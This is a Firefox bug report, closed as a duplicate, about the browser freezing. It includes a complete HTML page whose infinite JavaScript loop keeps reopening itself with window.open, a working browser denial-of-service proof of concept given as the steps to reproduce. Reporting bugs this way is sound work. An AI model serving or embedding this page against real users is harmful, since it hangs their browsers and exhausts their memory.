Closed
Bug 392219
Opened 17 years ago
Closed 17 years ago
freeze up with javascript loop and window.open()
Categories
(Firefox :: General, defect)
Tracking
()
RESOLVED
DUPLICATE
of bug 379151
People
(Reporter: jmg728, Unassigned)
References
()
Details
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
Firefox will freeze and be unresponsive if a web page has a infinite loop along with multiple window.open("loop_exploit.htm") statements, where loop_exploit.htm is the filename of the web page containing the script. Please note that you must have multiple statements. In the example, 9 window.open("loop_exploit.htm") statements were included.
Reproducible: Always
Steps to Reproduce:
WARNING: this will render Firefox UNRESPONSIVE and you will need to manually end its PROCESS through use of the task manager to close Fx.
1. Open a text editor and paste the following HTML code:
<html>
<body>
<script type="text/javascript">
while(1<2){
window.open("loop_exploit.htm");
window.open("loop_exploit.htm");
window.open("loop_exploit.htm");
window.open("loop_exploit.htm");
window.open("loop_exploit.htm");
window.open("loop_exploit.htm");
window.open("loop_exploit.htm");
window.open("loop_exploit.htm");
window.open("loop_exploit.htm");
}
</script>
</body>
</html>
2. Open the web page in Firefox.
Actual Results:
Firefox quickly becomes unresponsive and memory usage rises very fast. On my computer, Firefox rose from about 40000K of mem. usage to about 100000K in about 30 seconds.
Expected Results:
Firefox should have displayed the normal statement that it gives when a javascript script is taking longer than usual to execute instead of freezing.
I was using WinXP, Intel Pentium 4 HT (3.00GHz), 1GB RAM.
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Updated•17 years ago
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Status: UNCONFIRMED → RESOLVED
Closed: 17 years ago
Resolution: --- → DUPLICATE
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Description
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